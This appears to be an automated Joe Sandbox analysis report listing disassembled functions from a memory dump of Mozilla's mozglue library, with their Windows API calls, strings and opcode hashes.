moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3255E1), ref: 6C32605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3255E1), ref: 6C3260CC

Strings

GeckoMain, xrefs: 6C325ECE, 6C326015

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: f75bc394902b3365351e90b8b92b8a6bf5eba200f760665b65567053d64d6975
Instruction ID: 8e3fb12b3590b3a7b81c7d2e6bddb9c544e04f362c7eca92d5ac54288ccf857c
Opcode Fuzzy Hash: f75bc394902b3365351e90b8b92b8a6bf5eba200f760665b65567053d64d6975
Instruction Fuzzy Hash: 7971D2B0A047409FDB10DF25D480AAABBF4FF49308F14492DE5868BB41E775E948CF92

Function 6C329590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3131C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C313217
Part of subcall function 6C3131C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C313236
Part of subcall function 6C3131C0: FreeLibrary.KERNEL32 ref: 6C31324B
Part of subcall function 6C3131C0: __Init_thread_footer.LIBCMT ref: 6C313260
Part of subcall function 6C3131C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C31327F
Part of subcall function 6C3131C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C31328E
Part of subcall function 6C3131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C3132AB
Part of subcall function 6C3131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C3132D1
Part of subcall function 6C3131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C3132E5
Part of subcall function 6C3131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C3132F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C329675
__Init_thread_footer.LIBCMT ref: 6C329697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C3296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C329707
__Init_thread_footer.LIBCMT ref: 6C32971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C329773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C3297B7
FreeLibrary.KERNEL32 ref: 6C3297D0
FreeLibrary.KERNEL32 ref: 6C3297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C329824

Strings

NtMapViewOfSection, xrefs: 6C329701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C329670
ntdll.dll, xrefs: 6C3296E3
MapViewOfFileNuma2, xrefs: 6C3297B1

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 9e488351e625184eeed19354a5432607a841aecf19dc134806d7b62af571f0c9
Instruction ID: 2e71ed0f191dc6f5a963a76b22a13a33a3b7c8fc42476aff6a52804687460dab
Opcode Fuzzy Hash: 9e488351e625184eeed19354a5432607a841aecf19dc134806d7b62af571f0c9
Instruction Fuzzy Hash: 7961D171B003019FDF00DFA9E884B9A7BB9EB4E358F108529F95597780E736A854CFA1

Function 6C376660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C39F618), ref: 6C376694
GetThreadId.KERNEL32(?), ref: 6C3766B1
GetCurrentThreadId.KERNEL32 ref: 6C3766B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C3766E1
EnterCriticalSection.KERNEL32(6C39F618), ref: 6C376734
GetCurrentProcess.KERNEL32 ref: 6C37673A
LeaveCriticalSection.KERNEL32(6C39F618), ref: 6C37676C
GetCurrentThread.KERNEL32 ref: 6C3767FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C376868
RtlCaptureContext.NTDLL ref: 6C37687F

Strings

WalkStack64, xrefs: 6C376890

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 8f34af992bfbfa7663269b0a92904bcc35f962913cb8f55ceb4e935a70177fe1
Instruction ID: 14eb8fc9769c68d6111194d0f8c3cec54d35126337cc002224dc1ade1a89a561
Opcode Fuzzy Hash: 8f34af992bfbfa7663269b0a92904bcc35f962913cb8f55ceb4e935a70177fe1
Instruction Fuzzy Hash: 4D51CE71A09341AFDB21CF25C844B5EBBF8BF89718F00492DF59897640E7799904CFA6

Function 6C35DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35DE73
GetCurrentThreadId.KERNEL32 ref: 6C35DF7D
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35DF8A
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35DFC9
GetCurrentThreadId.KERNEL32 ref: 6C35DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C324A68), ref: 6C35DE7B

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C324A68), ref: 6C35DEB8
free.MOZGLUE(00000000,?,6C324A68), ref: 6C35DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C35DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C35E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C35DE83
<none>, xrefs: 6C35DFD7

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 8d56990b952e7e72a67316bc59e1e7562443f7cd59437ce0bf284b0a62633ed2
Instruction ID: 075adabe79c1ef146972afe5628b584678acb5fa5cb59bbd7a2d16aeaaa6b49c
Opcode Fuzzy Hash: 8d56990b952e7e72a67316bc59e1e7562443f7cd59437ce0bf284b0a62633ed2
Instruction Fuzzy Hash: 03410676B012109BDB109F64D904BAA7779EF4630CF950015F90A9BB01EB37A825CFE3

Function 6C36D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C36D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C36D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C36D52A
GetCurrentThreadId.KERNEL32 ref: 6C36D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C36D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C36D55F
free.MOZGLUE(00000000), ref: 6C36D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C36D5D3
GetCurrentThreadId.KERNEL32 ref: 6C36D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C36D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C36D652
GetCurrentThreadId.KERNEL32 ref: 6C36D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C36D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C36D6A2

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 16adbc8bc5be755cdf61266c8f6e42bfc5e8bc260aa88322aeae8d77d83d0f77
Instruction ID: 1e98976db1a112e63b42c70f569cbf834b57bf5f0625f10b5ff0afb7dfb9c4b6
Opcode Fuzzy Hash: 16adbc8bc5be755cdf61266c8f6e42bfc5e8bc260aa88322aeae8d77d83d0f77
Instruction Fuzzy Hash: D0516D71A04705DFC714DF35C484A9ABBF9FF89318F10862DE99A8BB10EB31A945CB91

Function 6C311E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E784), ref: 6C311EC1
LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C311EE1
EnterCriticalSection.KERNEL32(6C39E744), ref: 6C311F38
LeaveCriticalSection.KERNEL32(6C39E744), ref: 6C311F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C311F83
LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C311FC0
EnterCriticalSection.KERNEL32(6C39E784), ref: 6C311FE2
LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C311FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C312019

Strings

MOZ_CRASH(), xrefs: 6C312000
D9l, xrefs: 6C311F32
\9l, xrefs: 6C311F3E
D9l, xrefs: 6C311F56

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: D9l$D9l$MOZ_CRASH()$\9l
API String ID: 2055633661-3063569926
Opcode ID: 267933268271382faf5aa5f97da933d56f36b7e859ae7f7a2610c613ede92747
Instruction ID: 184c304ce7702bb5f470037cfd0562c8bd0dd42d3d6715f77a99dd604aa86ffe
Opcode Fuzzy Hash: 267933268271382faf5aa5f97da933d56f36b7e859ae7f7a2610c613ede92747
Instruction Fuzzy Hash: 3441F376F053198FDF149F69D884BAA36B9FB59708F040125E9059BB40FB7298048FD2

Function 6C335670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C3356D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3356E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C3356F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C335744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C3357BC
GetTickCount64.KERNEL32 ref: 6C3358CB
EnterCriticalSection.KERNEL32(6C39F688), ref: 6C3358F3
__aulldiv.LIBCMT ref: 6C335945
LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C3359B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C39F638,?,?,?,?), ref: 6C3359E9

Strings

MOZ_APP_RESTART, xrefs: 6C3356CC

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: d1274f821667267c4ee61a1754b63c6698f3283e59426b016098a7eb4af6f73b
Instruction ID: 3710fd7f3bdc30a8239334b4fa32d653fcb7129ccacf01273930f0b9b3fd6243
Opcode Fuzzy Hash: d1274f821667267c4ee61a1754b63c6698f3283e59426b016098a7eb4af6f73b
Instruction Fuzzy Hash: F0C17C31A097909FDB05CF28C44066ABBF5BFDA714F159A1DF8C897660E731A885CF82

Function 6C35EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35EC8C

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

GetCurrentThreadId.KERNEL32 ref: 6C35ECA1
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C35ECC5
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C35ED19
CloseHandle.KERNEL32(?), ref: 6C35ED28
free.MOZGLUE(00000000), ref: 6C35ED2F
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C35EC94

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: d514bac5693454cf8c9e955d908541617664d240268e2b3d6ee48ba80016cdc1
Instruction ID: 190af469fb5089c7a7cc86ddb3a2ff863b6183824ab0cd56eb21a261967f407c
Opcode Fuzzy Hash: d514bac5693454cf8c9e955d908541617664d240268e2b3d6ee48ba80016cdc1
Instruction Fuzzy Hash: 5021E5B5600214AFDF009F64D804EAA777DEF4A26DF504211FC199B740EB3AAC25CFA2

Function 6C358ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C31EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C31EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C35B392,?,?,00000001), ref: 6C3591F4

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

Strings

data, xrefs: 6C3590E8
timeline-memory, xrefs: 6C359088
name, xrefs: 6C358F16
timeline-ipc, xrefs: 6C359096
marker-table, xrefs: 6C35906C
marker-chart, xrefs: 6C35905E
timeline-fileio, xrefs: 6C3590A4
timeline-overview, xrefs: 6C35907A
stack-chart, xrefs: 6C3590B2

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a2402b3b37200bc02cc7d77039c328e814cea8c9574498a0cc37962ed68f0adf
Instruction ID: 8889775fbf7fa517ae3e0b63d1b14bf4f9e2fc54403313d280a1407932b11b95
Opcode Fuzzy Hash: a2402b3b37200bc02cc7d77039c328e814cea8c9574498a0cc37962ed68f0adf
Instruction Fuzzy Hash: D0B1C4B4A012099BDF08CF54C891BEEBBB9EF89318F504419D502ABF80D7769A55CFE1

Function 6C33C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C33C5A3
WideCharToMultiByte.KERNEL32 ref: 6C33C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C33C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C33CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C33CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C33CAA5

Strings

(null), xrefs: 6C33C596
0, xrefs: 6C33D30A

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 329b18cebe3cdb757ed4f8928d2d18fbda28e14fbd491d1818379d056c4e6e58
Instruction ID: 0e60dab47384d3ed46261b1dd2fbf19fae88758d94adcc4342f9b9696311a268
Opcode Fuzzy Hash: 329b18cebe3cdb757ed4f8928d2d18fbda28e14fbd491d1818379d056c4e6e58
Instruction Fuzzy Hash: 19A1AC306083A18FDB00DF29D58875ABBE5AF89758F049A2DE88AD7641D732DC05CF92

Function 6C33C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C33C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C33C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C33C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C33C891

Strings

inf, xrefs: 6C33C78F
INF, xrefs: 6C33C794
NAN, xrefs: 6C33C7AD
nan, xrefs: 6C33C7A8

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 518dd4acc6472918e09d747834aeec8d728d442a129f6ed82e546cc1d6cf5675
Instruction ID: 117664007f0286d1769718fff13392867decdaa595db898db80728e2df3a6ddc
Opcode Fuzzy Hash: 518dd4acc6472918e09d747834aeec8d728d442a129f6ed82e546cc1d6cf5675
Instruction Fuzzy Hash: 4A51B4719087908BD700EF2CD48129AFBF4BF8A308F009A2DE9D9A7651E771D9858F53

Function 6C313480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C313492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C3134A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C3134EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C31350E
__Init_thread_footer.LIBCMT ref: 6C313522
__aulldiv.LIBCMT ref: 6C313552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C31357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C313592

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C313508
kernel32.dll, xrefs: 6C3134EA

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 0eddb771d27792fb7697e4c2b25200ee98dc389f26730b3aab78651afe1d21a9
Instruction ID: 6c3f344823e420a1ddd0cb0ff53398ecf8caf54bcc26baae5f1a6ddc04b2f1de
